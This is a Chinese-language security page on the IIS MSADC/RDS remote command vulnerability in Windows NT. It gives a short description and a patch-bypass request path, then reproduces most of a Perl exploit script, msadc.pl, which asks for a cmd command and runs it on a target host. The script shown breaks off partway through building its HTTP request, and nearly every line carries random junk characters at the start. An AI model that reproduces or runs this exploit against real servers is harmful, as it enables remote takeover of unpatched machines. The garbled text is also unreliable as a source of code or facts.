IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
W]1)zO 29"'K.r 涉及程序:
W~;`WR;. Microsoft NT server
Lc,Pom ~9]hV7y5C 描述:
Qh3YJ=X& 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
||= )d& RDi]2 详细:
o Q2Fjj 如果你没有时间读详细内容的话,就删除:
`Bp.RXsd* c:\Program Files\Common Files\System\Msadc\msadcs.dll
Pb4X\9^ 有关的安全问题就没有了。
M61xPq8y5 =pO^7g 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
=F~S?y m|n%$$S& 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
y/{fX(aV 关于利用ODBC远程漏洞的描述,请参看:
cWaSn7p !X I\{ 1u http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ->-KCd1b H3^},. 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
n8
i] z http://www.microsoft.com/security/bulletins/MS99-025faq.asp , , OW !8d{q)JZ 这里不再论述。
gMmaK0uhS kk@fL 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
x b~yM%*c vn!3l1\+J /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
5h-SCB>P 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
Tod&&T'UW &\WSQmtto BC#C9|n #将下面这段保存为txt文件,然后: "perl -x 文件名"
zuad~%D<I T{.pM4Hd #!perl
?m}s4a #
r&JgLC( # MSADC/RDS 'usage' (aka exploit) script
4y?n
[/M/ #
u(>^3PJ+ # by rain.forest.puppy
p!7FpxZY #
!qh]6%l # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
,{u
yG: # beta test and find errors!
'(f* 2eE: .m,_N@, use Socket; use Getopt::Std;
@ $ ;q; getopts("e:vd:h:XR", \%args);
]d0BN`*U. U0y% u print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
Eu d*_>| %KhI>O< if (!defined $args{h} && !defined $args{R}) {
Ys!82M$g print qq~
X::JV7hu Usage: msadc.pl -h <host> { -d <delay> -X -v }
/sx&=[
D -h <host> = host you want to scan (ip or domain)
JN-y)L/> -d <seconds> = delay between calls, default 1 second
(AaoCa[ -X = dump Index Server path table, if available
RQ'9m^ -v = verbose
]Kt6^|S$a -e = external dictionary file for step 5
ZF9z~9 v\gLWq' Or a -R will resume a command session
2\MT;;ZTZ 4K#>f4(U`g ~; exit;}
xQ-<WF1i B$fPgW- $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
u<tbbKM if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
yy^q2P if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
'4+
ur` if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
-hGk?_Nqa/ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
6 l|DU7i if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
M#4pE_G 30#s aGV if (!defined $args{R}){ $ret = &has_msadc;
\^J%sf${ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
(&F}/s gbi XH 4 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
%+W{iu[| . "cmd /c ";
fP
1[[3i $in=<STDIN>; chomp $in;
}(J}f) $command="cmd /c " . $in ;
; ; OAQ` O>bC2;+s if (defined $args{R}) {&load; exit;}
X1x#6
oi #4Rx]zW^% print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
TCwFPlF| &try_btcustmr;
dk#k bG; ]___M print "\nStep 2: Trying to make our own DSN...";
y1eWpPJa &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
~*&H$6NJS Ju!]&G8 print "\nStep 3: Trying known DSNs...";
)
<[XtK &known_dsn;
*e TqVG. X"|['t
print "\nStep 4: Trying known .mdbs...";
'6iEMg&3 &known_mdb;
T= y}y ,GbR!j@6 if (defined $args{e}){
UJAv`yjG print "\nStep 5: Trying dictionary of DSN names...";
1y@i}<9F &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
]b:Lo 8sWJcmVo print "Sorry Charley...maybe next time?\n";
zx"s*:O exit;
/$xU by1<[$8r ##############################################################################
Olt?~} `_Zg3_K.dS sub sendraw { # ripped and modded from whisker
,*TmIPNK sleep($delay); # it's a DoS on the server! At least on mine...
M>xK+q?O my ($pstr)=@_;
B:yGS*.tu socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
;s = l52 die("Socket problems\n");
rK6l8)o if(connect(S,pack "SnA4x8",2,80,$target)){
O'p9u@kc select(S); $|=1;
Uou1mZz/ print $pstr; my @in=<S>;
KI iO select(STDOUT); close(S);
6EoMt@7g return @in;
W dK #ZOR } else { die("Can't connect...\n"); }}
?DS@e@lx fM :]& ##############################################################################
x/I%2F Drgv`z sub make_header { # make the HTTP request
6RU~"C my $msadc=<<EOT
~|DUt POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
)5Q~I,dP User-Agent: ACTIVEDATA
YlJ@XpKM Host: $ip
lV3x *4O= Content-Length: $clen
e{'BAj Connection: Keep-Alive
Fc)@,/R"v 2G& a{ ADCClientVersion:01.06
d=$Mim Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
"+R+6<